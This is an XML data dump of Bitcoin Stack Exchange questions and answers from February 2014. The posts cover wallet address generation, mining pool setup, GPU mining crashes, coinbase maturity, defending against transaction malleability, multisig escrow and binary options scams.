  <row Id="22540" PostTypeId="2" ParentId="22535" CreationDate="2014-02-22T16:00:03.590" Score="1" Body="&lt;p&gt;You can have Bitcoin-Qt generate 50k addresses by starting it with the parameter &lt;code&gt;-keypool=50000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They will not all be visible in the client interface, most will be just hidden as unused backup addresses, but they will all be stored in your &lt;code&gt;wallet.dat&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-02-22T16:00:03.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22541" PostTypeId="2" ParentId="11152" CreationDate="2014-02-22T16:00:27.350" Score="0" Body="&lt;p&gt;The closest I've seen to an implementation of this is the crypto-currency &lt;a href=&quot;http://datacoin.info/&quot; rel=&quot;nofollow&quot;&gt;Datacoin&lt;/a&gt;, where you pay for &lt;strong&gt;permanent&lt;/strong&gt; data storage in datacoins. Once the payment's done and your data (in 4KB chunks) is committed to the blockchain, it'll be there for as long as the crypto-coin lasts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now then, except for perhaps religious texts or great masterpieces of world's literature I don't see much of a need in the world for permanent storage of anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;StorJ was a very interesting idea, if a bit too ambitious. Probably a new crypto-coin should take its idea of &lt;strong&gt;temporary&lt;/strong&gt; data storage and implement it over Datacoin's already existing framework, it'd be an order of magnitude more useful.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-02-22T16:00:27.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22542" PostTypeId="2" ParentId="17200" CreationDate="2014-02-22T16:14:52.470" Score="0" Body="&lt;p&gt;First you need to decide which crypto-coin you wish to mine: Bitcoin, Litecoin, Peercoin, Dogecoin or any other of the hundreds of alternatives. You should've already downloaded the wallet for this coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you have to decide if you're going to join a pool or go solo-mining. Unless the coin you wish to mine was released yesterday (literally), has too few users or you have enormous amounts of hashpower, forget about going solo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you need to open an account at a miner pool - there are hundreds by now, a minimum of 1 for each crypto-coin (bitcoin, litecoin and doge have dozens each). Miner pools have their webpages where you register, create your username and set your ccount so the coins you mine go to your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of the registration process (or in the help page) you'll be given the IP address an port you should point your mining program to. Finally you start your miner and watch as you get coins, hopefully at a profit vs. the electricity costs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also the option of using a p2pool, these are decentralized pools where you don't have to open an account at a page, don't need to trust the pool's manager to be honest, etc. But these require you to have more in depth knowledge of how cryptocoins and mining work, so leave that aside for later.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-02-22T16:14:52.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22543" PostTypeId="2" ParentId="8985" CreationDate="2014-02-22T16:21:20.650" Score="0" Body="&lt;p&gt;Except for the most recent file (which is being written to with each new incoming block), I believe you shouldn't have a problem in moving the other files with the wallet still open - aren't they read only?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving the last one, though, would probably require you to close the wallet even if just temporarily.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-02-22T16:21:20.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22544" PostTypeId="2" ParentId="22535" CreationDate="2014-02-22T16:24:53.860" Score="1" Body="&lt;p&gt;The Satoshi Bitcoin client (&lt;code&gt;bitcoin-qt&lt;/code&gt; or &lt;code&gt;bitcoind&lt;/code&gt;) has an &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow&quot;&gt;RPC API&lt;/a&gt; which is the most common way to interact with it programatically.  You can use the &lt;code&gt;getnewaddress&lt;/code&gt; command to create as many addresses as you like.  I know of no reason why it shouldn't be able to handle 50,000 or more.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-02-22T16:24:53.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22545" PostTypeId="1" AcceptedAnswerId="23810" CreationDate="2014-02-22T17:08:42.783" Score="1" ViewCount="343" Body="&lt;p&gt;I currently have 2 PC's with a Corsair CX750 PSU in both of them.  I bought 4 x Sapphire Radeon 7950's with the intention of having two in each PC. The cases are open and the GPU's have been mounted via PCI-e riser cables so they run a bit cooler away from the motherboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From everything I read before purchasing the components, the CX750 would have plenty of power to run 2 x 7950's at the same time, but I'm having problems running them together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I can only get a cgminer stable system (Windows 7) when running the two GPU's at intensity 16 together. Anything higher than that and the sytem crashes. However I can run individual cards at intensity 19/20 for a long time without crashing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried running GP0 at intensity 16 and GPU1 at 19, but the crashing still occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried swapping the cards but they don't seem to be the problem. And I've tried different combinations in each of the PC's (they use different motherboards), but the crashing still occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this IMO rules out the GPU's, the motherboards, the CPU and memory from causing any problems. Which leave the PSU and the riser cards as the possible cause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PC's are using Zalman cases and the wiring is nice and tidy, and the temperature are fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what could be causing the problems here? I had BAMT running before I tried Windows, so I thought that might the problem. But alas not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surely the CX750 PSU's are up to the job? Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. I'm running the mining rigs inside cases instead of an open frame because I want to use the components for actual work at a later date.  As they only have 2 GPU's in each there shouldn't be a heat issue, and the cards run at a steady 70c.&lt;/p&gt;&#xA;" OwnerUserId="12757" LastActivityDate="2014-03-21T14:08:08.437" Title="Crashing problem when running 2 x 7950's on Corsair CX750 in mining rig" Tags="|cgminer|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22548" PostTypeId="1" AcceptedAnswerId="22563" CreationDate="2014-02-22T18:57:42.780" Score="7" ViewCount="3686" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_rules&quot; rel=&quot;noreferrer&quot;&gt;protocol rules&lt;/a&gt; state that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For each input, if the referenced output transaction is coinbase (i.e.&#xA;  only 1 input, with hash=0, n=-1), it must have at least&#xA;  COINBASE_MATURITY (100) confirmations; else reject this transaction&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why should coinbase transactions with less than 100 confirmations be unspendable? What is the point of the rule?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastEditorUserId="5406" LastEditDate="2014-02-23T02:49:08.440" LastActivityDate="2014-02-23T04:16:12.607" Title="Coinbase maturity of 100 transactions" Tags="|mining-reward|immature-coins|" AnswerCount="1" CommentCount="1" ClosedDate="2014-02-25T19:01:45.170" ContentLicense="CC BY-SA 3.0" />
  <row Id="22549" PostTypeId="2" ParentId="18416" CreationDate="2014-02-22T21:25:17.910" Score="0" Body="&lt;p&gt;Murch, not sure if you've figured this one out yet...&#xA;I had the same problem for a week.  cgminer -d would not provide info on 3 of my 4 GPUs.  Also, ATICONFIG and AMDCONFIG would not provide temps and clock info for the 3 GPUs with --odgc or --odgt options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to fix it by reinstalling CGMINER-3.7.2 and adding the '--disable-adl' option.  per the README file, this option overrides detection and disables building with adl.  Also, don't use don't use 'make check' and 'make installcheck' to check the binaries before and after installation.  For me, this caused the install to fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After using --disable-adl, ATICONFIG, AMDCONFIG (gives same info) and CGMINER -n all could sense the temps of my four GPUs.  It took me a frustrating week to figure this out.  Hope this helps...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, I have the following:&#xA;Mobo:  Asrock 970 Extreme4&#xA;CPU:  AMD Sempron&#xA;GPUs:  four XFX HD R7850s with 1GB Ram each&#xA;RAM:  Kingston DDR3 4GBs&#xA;PSU:  AZZA Titan 1000W 80+ Bronze&#xA;OS:  Debian 7.4.0 kfreebsd amd64 image&lt;/p&gt;&#xA;" OwnerUserId="13777" LastEditorUserId="1891" LastEditDate="2014-02-22T23:15:10.647" LastActivityDate="2014-02-22T23:15:10.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22550" PostTypeId="1" CreationDate="2014-02-22T22:48:05.610" Score="12" ViewCount="746" Body="&lt;p&gt;Please note that this question is NOT a duplicate of other questions regarding &lt;a href=&quot;/questions/tagged/transaction-malleability&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;transaction-malleability&amp;#39;&quot; rel=&quot;tag&quot;&gt;transaction-malleability&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is regarding a following scenario, that could happen on an exchange that uses on-chain wallet management:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;user deposits funds on address A, belonging to his account on an exchange. Exchange waits &lt;em&gt;n&lt;/em&gt; confirmations before it credits user account.&lt;/li&gt;&#xA;&lt;li&gt;user then moves funds from address A to address B, which also belongs to his account on the same exchange. Exchange doesn't wait for any confirmations here, because the it knows it won't double-spend itself. Exchange thus notes the TXID of this transaction for future use.&lt;/li&gt;&#xA;&lt;li&gt;while transaction is unconfirmed, someone exploits transaction malleability issue and pushes its tweaked version, which gets picked up by miners instead.&lt;/li&gt;&#xA;&lt;li&gt;in the mean time, user wants to withdraw funds to address C, which is another exchange or external wallet. Exchange creates this transaction using TXID that it stored earlier. Unfortunately, Blockchain doesn't know this TXID because it was rejected by majority of miners. The exchange though doesn't get immediate feedback about that, because it doesn't know that a tweaked version of that transaction exists (since both are still unconfirmed)&lt;/li&gt;&#xA;&lt;li&gt;in effect, funds are not withdrawn, and exchange operators are left wondering why this happened.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now the following situation has NOT happened to me (yet), but I'm wondering:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;is it realistic enough that it could happen, or is there something I missed?&lt;/li&gt;&#xA;&lt;li&gt;how I can guard against this? For me it seems that the best fix for this would be use of the new NTXID instead of TXID in transaction inputs. But that will probably not be possible in near future, because required quite a big change in the protocol.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3451" LastEditorUserId="3451" LastEditDate="2014-02-22T23:00:58.107" LastActivityDate="2014-02-25T21:27:41.633" Title="How can I avoid transaction malleability consequences?" Tags="|transactions|multi-signature|transaction-malleability|transaction-id|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22551" PostTypeId="2" ParentId="22476" CreationDate="2014-02-22T23:26:18.980" Score="2" Body="&lt;p&gt;Here are the instructions for setting a mining proxy which allows all your miners to connect via the proxy instead of via their own config.  This way you only have to stop then start a single process on the proxy to change pools instead of messing with each miner to do the switch.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Setup mining_proxy.py on a linux machine&#xA;&lt;ol&gt;&#xA;&lt;li&gt;pont slush's mining_proxy.py at a pool of your choosing using a bash script file (remember to chmod 755  so you can run the bash script with ./)&lt;/li&gt;&#xA;&lt;li&gt;setup each pool you want to mine with it's own script (same -sp (port)  for each )&lt;/li&gt;&#xA;&lt;li&gt;point all your miners at the proxy server with the port you are using&lt;/li&gt;&#xA;&lt;li&gt;make sure all pools use the same worker names and passwords (since this is setup on the miners)&lt;/li&gt;&#xA;&lt;li&gt;start your chosen bash script (best to use screen so you can exit the session and leave it running)&lt;/li&gt;&#xA;&lt;li&gt;miners can be switched by ssh via screen -d -r , then ctrl-c (to kill the proxy), now just run the correct bash script to switch to the next pool.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4724" LastActivityDate="2014-02-22T23:26:18.980" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22552" PostTypeId="2" ParentId="22514" CreationDate="2014-02-23T00:21:07.860" Score="1" Body="&lt;p&gt;Ok.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since nobody answered. After smashing my head against the wall for a day, I finally figured out that since I am developing right now, and I am using testnet, the private keys generated for testnet and the private keys generated for &quot;real net&quot; are not interchangeable. So I had to switch BitAddress over to testnet mode to get keys that would work for my transaction.&lt;/p&gt;&#xA;" OwnerUserId="13657" LastActivityDate="2014-02-23T00:21:07.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22553" PostTypeId="2" ParentId="22550" CreationDate="2014-02-23T00:23:44.130" Score="5" Body="&lt;p&gt;This is the new issue, the one that's causing all the trouble. You basically have two choices:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't spend any of your own outputs until you're quite confident they're fully confirmed. For example, you could wait for three confirmations.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Be prepared to deal with this problem by monitoring your outstanding transaction chains and re-issuing any orphaned transactions with new input transaction IDs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-23T00:23:44.130" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22555" PostTypeId="1" AcceptedAnswerId="22560" CreationDate="2014-02-23T01:38:36.683" Score="1" ViewCount="1133" Body="&lt;p&gt;This was something that popped into my mind while I was thinking about CPU Only Alt-coins.&#xA;Would it be possible to have an ARM-based coin? That is, a coin that could only be mined on ARM devices (iPhone, Android device, etc. )? &lt;/p&gt;&#xA;" OwnerUserId="13192" LastEditorUserId="5406" LastEditDate="2014-02-23T09:15:51.113" LastActivityDate="2014-02-23T09:15:51.113" Title="Would it be possible to have an ARM hashing based Cryptocurrency?" Tags="|hash|altcoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22556" PostTypeId="1" CreationDate="2014-02-23T01:45:28.917" Score="2" ViewCount="338" Body="&lt;p&gt;I'm not a technical guy by any means, and I'm having alot of difficulty understanding Multi-signature Transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would an expert have time to try to &quot;dumb down&quot; the basics for me using some sort of analogy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really sorry if this has been addressed before but it is still escaping me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really appreciate any help.&lt;/p&gt;&#xA;" OwnerUserId="13785" LastActivityDate="2014-02-23T02:20:31.033" Title="Help understand multi-signature transactions" Tags="|transactions|multi-signature|escrow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22557" PostTypeId="2" ParentId="21078" CreationDate="2014-02-23T02:08:24.863" Score="2" Body="&lt;p&gt;Each private key can send the transaction fully, similar to having a joint account, the other party can cash out the account at any time and so can you.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-02-23T02:08:24.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22558" PostTypeId="2" ParentId="22556" CreationDate="2014-02-23T02:20:31.033" Score="1" Body="&lt;p&gt;A multi-sig address is created in a deterministic manner using the parameters and addresses which can spend funds from the account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I would like to sell you a GPU, but we do not know each other&lt;/li&gt;&#xA;&lt;li&gt;We find an escrow service (or common contact to serve as escrow) we both trust&lt;/li&gt;&#xA;&lt;li&gt;We create a multisig address with parameters 2 signatures required &amp;lt; your address &gt; &amp;lt; my address &gt; &amp;lt; escrow address&gt;, the address is deterministic so we will both get the same address&lt;/li&gt;&#xA;&lt;li&gt;You send coins for the GPU to this address, I verify the coins are received and ship the GPU to you&lt;/li&gt;&#xA;&lt;li&gt;You receive the GPU and create a transaction paying out to &amp;lt; my address &gt; and sign it with the key for &amp;lt; your address &gt;, I sign the transaction with &amp;lt; my address &gt; and broadcast it to the network&lt;/li&gt;&#xA;&lt;li&gt;If there is any dispute (e.g. you don't receive the GPU or it arrived not as described), you contact the escrow agent and if he agrees with your case, he creates a transaction sending the coins to &amp;lt; your address &gt; and signs it with &amp;lt; escrow address &gt;, you sign the transaction with &amp;lt; your address &gt; and broadcast it to the network&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since 2 signatures are required any dispute must be settled by the escrow, and you get to choose your own escrow. If we both agree to on where the funds should end up then escrow is not needed.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-02-23T02:20:31.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22559" PostTypeId="1" CreationDate="2014-02-23T02:23:26.433" Score="0" ViewCount="684" Body="&lt;p&gt;I am trying to better understand the fundamentals of the BLOCKCHAIN. &#xA;I am not technical and am hoping someone can offer up an explanation in LAY TERMS.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="13785" LastActivityDate="2014-02-23T02:33:41.257" Title="Help understanding the blockchain" Tags="|blockchain|block|" AnswerCount="1" CommentCount="2" ClosedDate="2014-02-25T11:26:57.643" ContentLicense="CC BY-SA 3.0" />
  <row Id="22560" PostTypeId="2" ParentId="22555" CreationDate="2014-02-23T02:26:47.667" Score="3" Body="&lt;p&gt;You just need to find a hashing algorithm which is more cost efficient on an ARM CPU, I found this answer to a similar question which should point you in the right direction :) &lt;a href=&quot;https://security.stackexchange.com/questions/29941/how-does-processor-architecture-affect-password-hashing-speed&quot;&gt;https://security.stackexchange.com/questions/29941/how-does-processor-architecture-affect-password-hashing-speed&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12835" LastEditorUserId="-1" LastEditDate="2017-03-17T13:14:44.100" LastActivityDate="2014-02-23T02:26:47.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22561" PostTypeId="2" ParentId="22559" CreationDate="2014-02-23T02:33:41.257" Score="0" Body="&lt;p&gt;There is a nice explanation on how it works in the bitcoin wiki, bitcoin.it :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A block chain is a transaction database shared by all nodes participating in a system based on the Bitcoin protocol. A full copy of a currency's block chain contains every transaction ever executed in the currency. With this information, one can find out how much value belonged to each address at any point in history.&lt;/p&gt;&#xA;&lt;p&gt;Every block contains a hash of the previous block. This has the effect of creating a chain of blocks from the genesis block to the current block. Each block is guaranteed to come after the previous block chronologically because the previous block's hash would otherwise not be known. Each block is also computationally impractical to modify once it has been in the chain for a while because every block after it would also have to be regenerated. These properties are what make double-spending of bitcoins very difficult. The block chain is the main innovation of Bitcoin.&lt;/p&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Block_chain&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12835" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-02-23T02:33:41.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22562" PostTypeId="2" ParentId="22555" CreationDate="2014-02-23T04:08:39.243" Score="4" Body="&lt;p&gt;You can pick a proof-of-work function that runs more efficiently on ARM architecture but you can't define something that's ARM-only. The same function can always be ported to run on Intel CPU or even MIPS.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-02-23T04:08:39.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22563" PostTypeId="2" ParentId="22548" CreationDate="2014-02-23T04:16:12.607" Score="7" Body="&lt;p&gt;The reason for this is that if a fork were to occur, some blocks will be orphaned and not have any coins which can be rebroadcast. If a block containing a transaction you send me gets orphaned, I can still get my coins, but if the block you are sending me coins from gets orphaned, I can not rebroadcast since the coinbase no longer exists on the valid chain.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-02-23T04:16:12.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22565" PostTypeId="2" ParentId="22512" CreationDate="2014-02-23T07:07:08.380" Score="0" Body="&lt;p&gt;figured it out after finding my own previous post about how I found out this info with americancoind, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/19971/coin-seems-to-have-gone-to-a-duplicate-address&quot;&gt;coin seems to have gone to a duplicate address&lt;/a&gt;, by its error message on attempting to resend the raw transaction. but bitcoind doesn't tell you what block it's in, merely stating &lt;code&gt;error: {&quot;code&quot;:-5,&quot;message&quot;:&quot;transaction already in block chain&quot;}&lt;/code&gt;. however, on searching through the source (rpcrawtransaction.cpp) I noticed that getrawtransaction takes an extra arg, verbose, which if greater than 0 gives the blockhash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jcomeau@aspire:~/rentacoder/jcomeau/bitcoin/src$ bitcoind getrawtransaction 3dd264f603f75871c5a36b61db8e137d8cee6b019a8d5bdfdabd7383ccc47068 1 | grep block&#xA;    &quot;blockhash&quot; : &quot;000000000000000116f3abab7d0f620f620eae189de29ddb06fe8baae566467a&quot;,&#xA;    &quot;blocktime&quot; : 1393013064&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and with the blockhash you can use getblock:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jcomeau@aspire:~/rentacoder/jcomeau/bitcoin/src$ bitcoind getblock 000000000000000116f3abab7d0f620f620eae189de29ddb06fe8baae566467a&#xA;{&#xA;    &quot;hash&quot; : &quot;000000000000000116f3abab7d0f620f620eae189de29ddb06fe8baae566467a&quot;,&#xA;    &quot;confirmations&quot; : 255,&#xA;    &quot;size&quot; : 341358,&#xA;    &quot;height&quot; : 287092,&#xA;    &quot;version&quot; : 2,&#xA;    &quot;merkleroot&quot; : &quot;d0fd6154ba64682b48c9c15600ee7c8594336cf4c0a2917b5cbcf1f5a74d2096&quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so, 287092 is the block number that contains the transaction.&lt;/p&gt;&#xA;" OwnerUserId="3758" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-02-23T17:06:56.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22566" PostTypeId="1" AcceptedAnswerId="22568" CreationDate="2014-02-23T11:10:08.927" Score="5" ViewCount="1874" Body="&lt;p&gt;I recently came across Bitcoin Binary Options. I didn't really understand what Binary Options mean, is this like actual Bitcoin trading or is it one more scam I need to avoid ?&lt;/p&gt;&#xA;" OwnerUserId="10681" LastActivityDate="2014-11-25T23:03:56.613" Title="Bitcoin Binary Options - What are they and is it a Scam?" Tags="|buy-bitcoins|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22567" PostTypeId="2" ParentId="22566" CreationDate="2014-02-23T11:20:05.573" Score="3" Body="&lt;p&gt;I think this says it all:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;We go by the last price rates that we receive directly from MTGox, the biggest exchange house over the web. If you think that it's not the most trustworthy source of information out there, please contact us via the feedback form on our website and propose a platform you trust. So far we have questioned more than 1000 people and the majority opinion was that mtgox.com is the only place on the net that provides credible information about direct exchange rates.&quot; -- &lt;a href=&quot;http://btclevels.com/fairplay&quot; rel=&quot;nofollow&quot;&gt;BTCLevels&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mt Gox does not reflect fair exchange rates right now because of their withdrawal problems. So this is not legitimate hedging. At least, it isn't now. It might have been in the past. (Though I can't imagine how. Who needs a 12 hour hedge on Bitcoins?)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-23T11:20:05.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22568" PostTypeId="2" ParentId="22566" CreationDate="2014-02-23T11:26:12.567" Score="6" Body="&lt;p&gt;Bitcoin Binary Options are financial instruments that allow you to predict if the price of Bitcoin will rise or fall in a specific amount of time. They are called binary options because there can only be 2 outcomes - either you get your payout, or lose your money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each option has a predetermined expiration date and an agreed payout. For example, if you decide to buy a &quot;call&quot; Binary Option on Bitcoin this means you think the price will rise.&#xA;If at the stated expiration date the price was higher than what you've bought it at, you get your payout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Binary options seem to resemble gambling in a way that you don't have to have any prior knowledge in order to succeed or fail in them. It's just &quot;betting&quot; which way the price will go which is almost impossible to do consistently in short time frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been many complaints about Binary options being scams and it's important to see that the company you're considering is regulated in your country. Also, if you dig a bit deeper into the math of Binary options you'll find out that just like a casino the house has better odds at profiting in the long run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information you can &lt;a href=&quot;http://99bitcoins.com/trading-bitcoin-binary-options-without-getting-scammed/&quot;&gt;read this article&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2014-02-23T11:26:12.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22569" PostTypeId="2" ParentId="22566" CreationDate="2014-02-23T13:16:53.680" Score="0" Body="&lt;p&gt;Its a form of gambling with the house as counterparty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you gamble against the house. For this reason your expected return is less than you are wagering in the long run. of course you can have your day in the sun BUT the house has the edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, depending on the trustworthiness of the company you're gambling with, there are certain ways to increase the house edge drastically.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2014-02-23T13:16:53.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22570" PostTypeId="2" ParentId="20212" CreationDate="2014-02-23T13:48:26.040" Score="4" Body="&lt;p&gt;There is a program called CudaMiner that can be compiled to run on Linux.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/cbuchner1/CudaMiner/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/cbuchner1/CudaMiner/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've also written some more notes about compiling CudaMiner here&#xA;&lt;a href=&quot;http://www.fractured-state.com/2014/03/scrypt-mining-on-aws-nvidia-gpu-with-cudaminer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.fractured-state.com/2014/03/scrypt-mining-on-aws-nvidia-gpu-with-cudaminer/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&lt;p&gt;The second link is dead already, but a similar tutorial is detailed in this thread:&#xA;&lt;a href=&quot;https://www.reddit.com/r/dogemining/comments/1y3ygr/dogecoin_guide_for_mining_on_linux_ubuntumint/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/dogemining/comments/1y3ygr/dogecoin_guide_for_mining_on_linux_ubuntumint/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="503" LastEditorUserId="48884" LastEditDate="2021-05-23T05:30:54.080" LastActivityDate="2021-05-23T05:30:54.080" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22573" PostTypeId="1" AcceptedAnswerId="22574" CreationDate="2014-02-23T16:52:35.890" Score="0" ViewCount="361" Body="&lt;p&gt;I'm thinking (probably erroneously) along the lines of a linked list and C pointers, but how would one follow the block chain from some block all the way back to the genesis block? The previous block's hash is the &quot;pointer&quot;, but in a C program (say), given any block how would the previous block be accessed?&lt;/p&gt;&#xA;" OwnerUserId="13539" LastActivityDate="2014-02-23T17:22:40.237" Title="How does one programmatically &quot;walk-back&quot; on the block chain?" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22574" PostTypeId="2" ParentId="22573" CreationDate="2014-02-23T17:22:40.237" Score="1" Body="&lt;p&gt;The &quot;blockchain&quot; is a conceptual structure that is not directly represented in a program. If you were writing a program to work with the blockchain, you get to choose how you would implement it in a data structure.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If your data structure is a linked list, you would follow the back link pointer to the previous block&lt;/li&gt;&#xA;&lt;li&gt;If your data structure is a hash table, you would look up the previous block hash in your table to find the previous block&lt;/li&gt;&#xA;&lt;li&gt;If your data structure is an array, you would look in the previous array slot to find the previous block&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As you can see, there are many possible choices one could make when representing the blockchain in memory. This is further complicated by the fact that the blockchain is probably too big to load into memory all at once, so you would probably need to involve some kind of on-disk storage too (a database perhaps).&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-23T17:22:40.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
